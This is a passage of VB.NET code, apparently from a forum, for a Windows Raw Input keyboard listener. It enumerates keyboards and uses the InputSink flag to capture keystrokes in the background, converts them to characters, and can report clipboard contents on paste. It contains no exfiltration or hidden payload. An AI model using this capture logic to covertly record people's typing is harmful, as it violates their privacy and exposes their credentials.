<MarshalAs(UnmanagedType.U4)>
Public WParam As Integer
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Describes the format of the raw input from a Human Interface Device (HID).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawHid
''' <summary>
''' The size, in bytes, of each HID input in bRawData.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwSizHid As Integer
''' <summary>
''' The number of HID inputs in bRawData.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwCount As Integer
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure ButtonsStr
''' <summary>
''' The transition state of the mouse buttons.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public UsButtonFlags As UShort
''' <summary>
''' If <paramref name="ButtonsStr"></paramref> is RI_MOUSE_WHEEL, this member is a signed value that specifies the wheel delta.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public UsButtonData As UShort
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains information about the state of the mouse.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Explicit)>
Friend Structure RawMouse
''' <summary>
''' The mouse state.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
<FieldOffset(0)>
Public UsFlags As UShort
''' <summary>
''' Reserved parameter by the system.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
<FieldOffset(4)>
Public UlButtons As UInteger
''' <summary>
''' The transition state of the mouse buttons.
''' </summary>
<FieldOffset(4)>
Public ButtonsStr As InputDevice.NativeMethods.ButtonsStr ' usButtonFlags + usButtonData
''' <summary>
''' The raw state of the mouse buttons.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
<FieldOffset(8)>
Public UlRawButtons As UInteger
''' <summary>
''' The motion in the X direction.
''' This is signed relative motion or absolute motion, depending on the value of <paramref name="usFlags"></paramref>.
''' </summary>
<FieldOffset(12)>
Public LLastX As Integer
''' <summary>
''' The motion in the Y direction.
''' This is signed relative motion or absolute motion, depending on the value of <paramref name="usFlags"></paramref>.
''' </summary>
<FieldOffset(16)>
Public LLastY As Integer
''' <summary>
''' The device-specific additional information for the event.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
<FieldOffset(20)>
Public UlExtraInformation As UInteger
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains information about the state of the keyboard.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawKeyboard
''' <summary>
''' The scan code from the key depression.
''' The scan code for keyboard overrun is KEYBOARD_OVERRUN_MAKE_CODE.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public MakeCode As UShort
''' <summary>
''' Flags for scan code information.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public Flags As UShort
''' <summary>
''' Reserved; value must be zero.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public Reserved As UShort
''' <summary>
''' Windows message compatible virtual-key code.
''' For more information, see Virtual Key Codes: [Enlace externo eliminado para invitados]
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public VKey As UShort
''' <summary>
''' The corresponding window message, for example WM_KEYDOWN, WM_SYSKEYDOWN, and so forth.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public Message As UInteger
''' <summary>
''' The device-specific additional information for the event.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public ExtraInformation As UInteger
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Defines information for the raw input devices.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawInputDevice
''' <summary>
''' Top level collection Usage page for the raw input device.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public UsUsagePage As UShort
''' <summary>
''' Top level collection Usage for the raw input device.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public UsUsage As UShort
''' <summary>
''' Mode flag that specifies how to interpret the information provided by
''' <see cref="InputDevice.NativeMethods.RawInputDevice.UsUsagePage"></see> and
''' <see cref="InputDevice.NativeMethods.RawInputDevice.UsUsage"></see>.
''' It can be zero (the default) or one of the following values.
''' By default, the operating system sends raw input from devices with the specified top level collection (TLC) to the
''' registered application as long as it has the window focus.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwFlags As InputDevice.NativeMethods.RawInputDeviceFlags
''' <summary>
''' A handle to the target window.
''' If this value is <see cref="IntPtr.Zero"></see>, it follows the keyboard focus.
''' </summary>
Public HwndTarget As IntPtr
End Structure
#End Region
#Region " Constants "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks></remarks>
''' ----------------------------------------------------------------------------------------------------
Friend Const FAPPCOMMAND_MASK As Integer = &HF000
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The last Virtual-Key Code.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Const VKLastKey As Integer = &HFE ' VK_OEM_CLEAR
#End Region
End Class
#End Region
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the amount of keyboard devices.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The amount of keyboard devices.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property DeviceCount As Integer
Get
Return Me.deviceCountB
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The amount of keyboard devices.
''' </summary>
Private deviceCountB As Integer
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the keyboard language.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The keyboard language.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property Language As String
Get
Return Me.languageB
End Get
Set(ByVal value As String)
Me.languageB = value
Me.CurrentCulture = New CultureInfo(name:=value)
End Set
End Property
''' <summary>
''' ( Backing Field )
''' The keyboard language.
''' </summary>
Private languageB As String = InputLanguage.DefaultInputLanguage.Culture.Name
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the keyboard culture.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The keyboard culture.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Private Property CurrentCulture As New CultureInfo(name:=languageB)
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the keyboard layout Identifier.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The keyboard layout Identifier.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property KeyboardLayoutID As Integer
Get
Return Me.CurrentCulture.KeyboardLayoutId
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the keyboard layout handle (HKL).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The keyboard layout handle (HKL).
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property KeyboardLayoutHandle As IntPtr
Get
Return InputLanguage.FromCulture(Me.CurrentCulture).Handle
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a collection of <see cref="Keys"></see> to ignore from raising the <see cref="InputDevice.KeyPressed"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The collection of <see cref="Keys"></see> to ignore.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredKeys As IEnumerable(Of Keys) = {}
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a collection of <see cref="Char"></see> to ignore from raising the <see cref="InputDevice.KeyPressed"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The collection of <see cref="Char"></see> to ignore.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredChars As IEnumerable(Of Char) = {}
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the comparison behavior for <see cref="InputDevice.IgnoredChars"></see>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The comparison behavior for <see cref="InputDevice.IgnoredChars"></see>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredCharsComparer As IEqualityComparer(Of Char) = EqualityComparer(Of Char).Default
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a collection of <see cref="String"></see> to ignore from raising the <see cref="InputDevice.KeyPressed"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The collection of <see cref="String"></see> to ignore.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredStrings As IEnumerable(Of String) = {}
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the comparison behavior for <see cref="InputDevice.IgnoredStrings"></see>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The comparison behavior for <see cref="InputDevice.IgnoredStrings"></see>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredStringsComparer As IEqualityComparer(Of String) = StringComparer.OrdinalIgnoreCase
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a value that determines whether a paste operation (Ctrl+V) should be handled.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A value that determines whether a paste operation (Ctrl+V) should be handled.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property HandlePastes As Boolean = False
#End Region
#Region " Variables "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The form to override its Windows Messages.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private WithEvents form As Form
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' List of devices.
''' Key: An <see cref="IntPtr"></see> that points to the device handle.
''' Value: The associated <see cref="InputDevice.DeviceInfo"></see> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private deviceList As New Hashtable
#End Region
#Region " Enumerations "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a type of input device event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Enum DeviceEvent As Integer
''' <summary>
''' A key is pressed.
''' </summary>
Key = 0
''' <summary>
''' A mouse button is click.
''' </summary>
Mouse = 1
''' <summary>
''' An unidentified hardware source generated the event.
''' It could be a mouse or a keyboard event.
''' </summary>
Oem = 2
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Private Enum GetDeviceLparam As Integer
''' <summary>
''' User pressed a key.
''' </summary>
Key = &H0
''' <summary>
''' User clicked a mouse button.
''' </summary>
Mouse = &H8000
''' <summary>
''' An unidentified hardware source generated the event.
''' It could be a mouse or a keyboard event.
''' </summary>
Oem = &H1000
End Enum
#End Region
#Region " Types "
''' <summary>
''' Encapsulates the information about a keyboard event, including the device it originated with and what key was pressed.
''' </summary>
<Serializable>
Public NotInheritable Class DeviceInfo
#Region " Properties "
''' <summary>
''' Gets or sets the device name.
''' </summary>
''' <value>The device name.</value>
Public Property DeviceName As String
''' <summary>
''' Gets or sets the device type.
''' </summary>
''' <value>The device type.</value>
Public Property DeviceType As String
''' <summary>
''' Gets or sets the device handle.
''' </summary>
''' <value>The device handle.</value>
Public Property DeviceHandle As IntPtr
''' <summary>
''' Gets or sets the device description.
''' </summary>
''' <value>The device description.</value>
Public Property DeviceDescription As String
''' <summary>
''' Gets or sets the source.
''' </summary>
''' <value>The source.</value>
Public Property Source As String
''' <summary>
''' Gets or sets the key number.
''' </summary>
''' <value>The key.</value>
Public Property KeyNum As UShort
''' <summary>
''' Gets or sets the key.
''' </summary>
''' <value>The key.</value>
Public Property Key As Keys
''' <summary>
''' Gets or sets the characters.
''' </summary>
''' <value>The characters.</value>
Public Property Chars As String
#End Region
End Class
#End Region
#Region " Events "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' This event is raised when a key was pressed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Event KeyPressed As EventHandler(Of KeyPressedEventArgs)
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' This event is raised when a paste hotkey was pressed (Ctrl+V).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Event HotkeyPastePressed As EventHandler(Of HotkeyPastePressedEventArgs)
#End Region
#Region " Event Aarguments "
#Region " KeyPressedEventArgs "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Arguments provided by the handler for the <see cref="InputDevice.KeyPressed"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class KeyPressedEventArgs : Inherits EventArgs
#Region " Properties "
''' <summary>
''' Gets the device info.
''' </summary>
''' <value>The device info.</value>
Public ReadOnly Property DeviceInfo() As DeviceInfo
Get
Return Me.deviceInfoB
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The device info.
''' </summary>
Private ReadOnly deviceInfoB As DeviceInfo
''' <summary>
''' Gets the device event.
''' </summary>
''' <value>The device event.</value>
Public ReadOnly Property DeviceEvent() As DeviceEvent
Get
Return Me.deviceEventB
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The device event.
''' </summary>
Private ReadOnly deviceEventB As DeviceEvent
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="KeyPressedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="KeyPressedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="deviceInfo">
''' The device data.
''' </param>
'''
''' <param name="deviceEvent">
''' The device event.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub New(ByVal deviceInfo As DeviceInfo,
ByVal deviceEvent As DeviceEvent)
Me.deviceInfoB = deviceInfo
Me.deviceEventB = deviceEvent
End Sub
#End Region
End Class
#End Region
#Region " KeyPressedEventArgs "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Arguments provided by the handler for the <see cref="InputDevice.HotkeyPastePressedEventArgs"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class HotkeyPastePressedEventArgs : Inherits EventArgs
#Region " Properties "
''' <summary>
''' Gets the device info.
''' </summary>
''' <value>The device info.</value>
Public ReadOnly Property DeviceInfo() As DeviceInfo
Get
Return Me.deviceInfoB
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The device info.
''' </summary>
Private ReadOnly deviceInfoB As DeviceInfo
''' <summary>
''' Gets the clipboard data.
''' </summary>
''' <value>The clipboard data.</value>
Public ReadOnly Property ClipboardData() As String
Get
Return Me.clipboardDatab
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The clipboard data.
''' </summary>
Private ReadOnly clipboardDatab As String
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="HotkeyPastePressedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="HotkeyPastePressedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="deviceInfo">
''' The device data.
''' </param>
'''
''' <param name="clipboardData">
''' The clipboard data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub New(ByVal deviceInfo As DeviceInfo,
ByVal clipboardData As String)
Me.deviceInfoB = deviceInfo
Me.clipboardDatab = clipboardData
End Sub
#End Region
End Class
#End Region
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' InputDevice constructor; registers the raw input devices
''' for the calling window.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="hwnd">
''' A handle to the window that will listen for device events.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal hwnd As IntPtr)
Me.form = DirectCast(Control.FromHandle(hwnd), Form)
' Create an array of all the raw input devices we want to listen to.
' In this case, only keyboard devices.
Dim rid As InputDevice.NativeMethods.RawInputDevice() =
New InputDevice.NativeMethods.RawInputDevice(0) {}
With rid(0)
.UsUsagePage = 1US
.UsUsage = 6US
.HwndTarget = hwnd
.DwFlags = NativeMethods.RawInputDeviceFlags.InputSink
End With
If Not InputDevice.NativeMethods.RegisterRawInputDevices(rid, CUInt(rid.Length), CUInt(Marshal.SizeOf(rid(0)))) Then
Throw New ApplicationException("Failed to register raw input device(s).")
End If
Me.deviceCountB = Me.EnumerateDevices()
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="InputDevice"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines what type of device triggered a WM_INPUT message.
''' (Used in the ProcessInputCommand method).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="lParam">
''' The LParam from a WM_INPUT message.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="InputDevice.DeviceEvent"></see> Enum value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotImplementedException">
''' Unrecognized GetDeviceLparam Enum value
''' </exception>
''' ----------------------------------------------------------------------------------------------------
Private Function GetDevice(ByVal lParam As Integer) As DeviceEvent
Select Case DirectCast(lParam >> 16 And InputDevice.NativeMethods.FAPPCOMMAND_MASK, GetDeviceLparam)
Case GetDeviceLparam.Key
Return DeviceEvent.Key
Case GetDeviceLparam.Mouse
Return DeviceEvent.Mouse
Case GetDeviceLparam.Oem
Return DeviceEvent.Oem
Case Else
Return DeviceEvent.Key
' Throw New NotImplementedException(message:="Unrecognized GetDeviceLparam Enum value.")
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Converts a <see cref="InputDevice.NativeMethods.RawInputDeviceList.DwType"></see> value to a string
''' describing the device type.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="deviceType">
''' A <see cref="InputDevice.NativeMethods.RawInputDeviceList.DwType"></see> value.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A string representation of the input value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function GetDeviceType(ByVal deviceType As InputDevice.NativeMethods.DeviceType) As String
Select Case deviceType
Case NativeMethods.DeviceType.Mouse
Return "MOUSE"
Case NativeMethods.DeviceType.Keyboard
Return "KEYBOARD"
Case NativeMethods.DeviceType.Hid
Return "HID"
Case Else
Return "UNKNOWN"
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Iterates through the list provided by <see cref="InputDevice.NativeMethods.GetRawInputDeviceList"></see>,
''' counting keyboard devices and adding them to <see cref="InputDevice.deviceList"></see>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The number of keyboard devices found.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function EnumerateDevices() As Integer
Dim numberOfDevices As Integer
Dim deviceCount As UInteger
Dim dwSize As Integer = (Marshal.SizeOf(GetType(InputDevice.NativeMethods.RawInputDeviceList)))
' Get the number of raw input devices in the list, then allocate sufficient memory and get the entire list.
If InputDevice.NativeMethods.GetRawInputDeviceList(IntPtr.Zero, deviceCount, CUInt(dwSize)) = 0 Then
Dim pRawInputDeviceList As IntPtr = Marshal.AllocHGlobal(CInt(dwSize * deviceCount))
InputDevice.NativeMethods.GetRawInputDeviceList(pRawInputDeviceList, deviceCount, CUInt(dwSize))
' Iterate through the list, discarding undesired items and retrieving further information on keyboard devices.
For i As Integer = 0 To CInt(deviceCount - 1)
Dim dInfo As DeviceInfo
Dim deviceName As String
Dim pcbSize As UInteger = 0
Dim rid As InputDevice.NativeMethods.RawInputDeviceList =
CType(Marshal.PtrToStructure(New IntPtr((pRawInputDeviceList.ToInt32() + (dwSize * i))),
GetType(InputDevice.NativeMethods.RawInputDeviceList)), InputDevice.NativeMethods.RawInputDeviceList)
InputDevice.NativeMethods.GetRawInputDeviceInfo(rid.HDevice,
NativeMethods.GetRawInputDeviceInfoCommand.DeviceName,
IntPtr.Zero,
pcbSize)
If pcbSize > 0 Then
Dim pData As IntPtr = Marshal.AllocHGlobal(CInt(pcbSize))
InputDevice.NativeMethods.GetRawInputDeviceInfo(rid.HDevice,
NativeMethods.GetRawInputDeviceInfoCommand.DeviceName,
pData,
pcbSize)
deviceName = Marshal.PtrToStringAnsi(pData)
' Drop the "root" keyboard and mouse devices used for 'Terminal Services' and the 'Remote Desktop'.
If deviceName.ToUpper().Contains("ROOT") Then
Continue For
End If
' If the device is identified in the list as a keyboard or HID device,
' create a DeviceInfo object to store information about it.
If (rid.DwType = NativeMethods.DeviceType.Keyboard) OrElse
(rid.DwType = NativeMethods.DeviceType.Hid) Then
dInfo = New DeviceInfo()
dInfo.DeviceName = Marshal.PtrToStringAnsi(pData)
dInfo.DeviceHandle = rid.HDevice
dInfo.DeviceType = GetDeviceType(rid.DwType)
' Check the Registry to see whether this is actually a keyboard, and to retrieve a more friendly description.
Dim isKeyboardDevice As Boolean = False
Dim deviceDesc As String = Me.ReadRegistry(deviceName, isKeyboardDevice, dInfo.DeviceType)
dInfo.DeviceDescription = deviceDesc
' If it is a keyboard and it isn't already in the list,
' add it to the deviceList hashtable and increase the numberOfDevices count.
If Not deviceList.Contains(rid.HDevice) AndAlso isKeyboardDevice Then
numberOfDevices += 1
deviceList.Add(rid.HDevice, dInfo)
End If
End If
Marshal.FreeHGlobal(pData)
End If
Next i
Marshal.FreeHGlobal(pRawInputDeviceList)
Return numberOfDevices
Else
Throw New ApplicationException("An error occurred while retrieving the list of devices.")
End If
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Reads the Registry to retrieve a friendly description of the device, and determine whether it is a keyboard.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="nameID">
''' The device name identifier to search for,
''' as provided by <see cref="InputDevice.NativeMethods.GetRawInputDeviceInfo"></see> function.
''' </param>
'''
''' <param name="isKeyboard">
''' A reffered variable that determines whether the device's class is "Keyboard".
''' </param>
'''
''' <param name="deviceType">
''' The device type.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The device description stored in the registry entry's DeviceDesc value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function ReadRegistry(ByVal nameID As String,
ByRef isKeyboard As Boolean,
ByVal deviceType As String) As String
' Example Device Identification string:
' @"\??\ACPI#PNP0303#3&13c0b0c5&0#{884b96c3-56ef-11d1-bc8c-00a0c91405dd}";
' Remove the '\??\'.
Dim idSplit As IEnumerable(Of String) = nameID.Substring(4).Split("#"c)
' ACPI (Class code).
Dim id01 As String = idSplit(0)
' PNP0303 (SubClass code).
Dim id02 As String = idSplit(1)
' 3&13c0b0c5&0 (Protocol code).
' The final splitted part, idSplit(3), is the class GUID and is not needed here.
Dim id03 As String = idSplit(2)
Dim idSubkeyPath As String = String.Format("System\CurrentControlSet\Enum\{0}\{1}\{2}", id01, id02, id03)
Using regKey As RegistryKey = Registry.LocalMachine.OpenSubKey(idSubkeyPath, writable:=False)
'Retrieve the desired information.
Dim deviceDesc As String = DirectCast(regKey.GetValue("DeviceDesc", defaultValue:="Nothing"), String)
Dim deviceClass As String = DirectCast(regKey.GetValue("Class", defaultValue:="Nothing"), String)
If deviceType.Equals("KEYBOARD", StringComparison.OrdinalIgnoreCase) OrElse
deviceClass.Equals("KEYBOARD", StringComparison.OrdinalIgnoreCase) Then
isKeyboard = True
Else
isKeyboard = False
End If
Return deviceDesc
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the characters from keys.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="key">
''' The key.
''' </param>
''' <param name="shift">
''' The state of <see cref="Keys.ShiftKey"></see>, <c>True</c> if enabled.
''' </param>
''' <param name="altGr">
''' The state of <see cref="Keys.Menu"></see>, <c>True</c> if enabled.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The characters.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function GetCharsFromKeys(ByVal key As Keys,
ByVal shift As Boolean,
ByVal altGr As Boolean) As String
Dim buf As New StringBuilder(256)
Dim keyboardState As Byte() = New Byte(255) {}
If shift Then
keyboardState(CInt(Keys.ShiftKey)) = &HFF
End If
If altGr Then
keyboardState(CInt(Keys.ControlKey)) = &HFF
keyboardState(CInt(Keys.Menu)) = &HFF
End If
Dim rc As Integer
rc = InputDevice.NativeMethods.ToUnicodeEx(CUInt(key), 0UI, keyboardState, buf, buf.Capacity, 0UI,
Me.KeyboardLayoutHandle)
Select Case rc
Case -1 ' Its a dead key, like for example "`´" accents or "^".
Return ""
Case 0 ' Single character in buffer.
Return ""
Case 1
Return buf(0).ToString()
Case Else ' Two or more (only two of them are relevant).
Return buf.ToString().Substring(0, 2)
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Processes WM_INPUT messages to retrieve information about any keyboard events that occur.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="message">
''' The WM_INPUT message to process.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Private Sub ProcessInputCommand(ByVal message As Message)
Dim dwSize As UInteger = 0
' First call to GetRawInputData sets the value of dwSize,
' which can then be used to allocate the appropriate amount of memory, storing the pointer in "buffer".
InputDevice.NativeMethods.GetRawInputData(message.LParam,
NativeMethods.GetRawInputDataCommand.Input,
IntPtr.Zero,
dwSize,
CUInt(Marshal.SizeOf(GetType(InputDevice.NativeMethods.RawInputHeader))))
Dim buffer As IntPtr = Marshal.AllocHGlobal(CInt(dwSize))
Try
' Check that buffer points to something,
' and if so, call GetRawInputData again to fill the allocated memory with information about the input.
If (buffer <> IntPtr.Zero) AndAlso
(InputDevice.NativeMethods.GetRawInputData(message.LParam,
NativeMethods.GetRawInputDataCommand.Input,
buffer,
dwSize,
CUInt(Marshal.SizeOf(GetType(InputDevice.NativeMethods.RawInputHeader)))) = dwSize) Then
' Store the message information in "raw",
' then check that the input comes from a keyboard device before processing it to raise an appropriate KeyPressed event.
Dim raw As InputDevice.NativeMethods.Rawinput =
CType(Marshal.PtrToStructure(buffer, GetType(InputDevice.NativeMethods.Rawinput)), InputDevice.NativeMethods.Rawinput)
If raw.Header.DwType = NativeMethods.DeviceType.Keyboard Then
' Filter for Key Down events and then retrieve informationabout the keystroke.
If (raw.Keyboard.Message = InputDevice.NativeMethods.WindowsMessages.WM_KEYDOWN) OrElse
(raw.Keyboard.Message = InputDevice.NativeMethods.WindowsMessages.WM_SYSKEYDOWN) Then
Dim key As UShort = raw.Keyboard.VKey
' On most keyboards, "extended" keys such as the arrow or page keys return two codes:
' 1: the key 's own code, and 2: a "extended key" flag, which translates to 255.
' The flag isn't useful to us, so it can be disregarded.
If key > InputDevice.NativeMethods.VKLastKey Then
Return
End If
Dim isPaste As Boolean
Dim isShiftPress As Boolean = (InputDevice.NativeMethods.GetAsyncKeyState(Keys.ShiftKey) <> 0)
Dim isAltGrPress As Boolean = (InputDevice.NativeMethods.GetAsyncKeyState(Keys.Menu) <> 0)
Dim isCrtlPress As Boolean = (InputDevice.NativeMethods.GetAsyncKeyState(Keys.ControlKey) <> 0)
Dim isCapsLockPress As Boolean = (((InputDevice.NativeMethods.GetKeyState(Keys.Capital)) And &H1) <> 0)
' Dim isCapsLockPress As Boolean = Control.IsKeyLocked(Keys.CapsLock)
' Determines whether a key press on an alphabetic character should be translated to Upper-Case.
' This is thinked to simulate these combinations:
' · CapsLock Enabled + Shift Enabled = Lower Character
' · CapsLock Enabled + Shift Disabled = Upper Character
' · CapsLock Disabled + Shift Disabled = Lower Character
' · CapsLock Disabled + Shift Enabled = Upper Character
Dim charToUpperCase As Boolean = (isCapsLockPress = True And isShiftPress = False) Or
(isCapsLockPress = False And isShiftPress = True)
' Retrieve information about the device and the key that was pressed.
Dim dInfo As DeviceInfo = CType(deviceList(raw.Header.HDevice), DeviceInfo)
dInfo.KeyNum = key
dInfo.Key = CType([Enum].Parse(GetType(Keys), [Enum].GetName(GetType(Keys), key)), Keys)
If (isCrtlPress) AndAlso (dInfo.Key = Keys.V) Then ' Paste hotkey (Ctrl+V).
isPaste = True
End If
dInfo.Chars = Me.GetCharsFromKeys(dInfo.Key, isShiftPress, isAltGrPress).ToLower
If charToUpperCase Then
dInfo.Chars = dInfo.Chars.ToUpper
End If
' If the key that was pressed is valid and there was no problem retrieving information on the device,
' raise the KeyPressed event.
If (Me.KeyPressedEvent IsNot Nothing) AndAlso (dInfo IsNot Nothing) Then
' If is not an ignored key and also is not an ignored string then...
If (Not Me.IgnoredKeys.Contains(dInfo.Key)) AndAlso
(Not Me.IgnoredStrings.Any(Function(s As String) s.Equals(dInfo.Chars))) Then
' Remove ignored characters.
Dim isEmpty As Boolean = String.IsNullOrEmpty(dInfo.Chars)
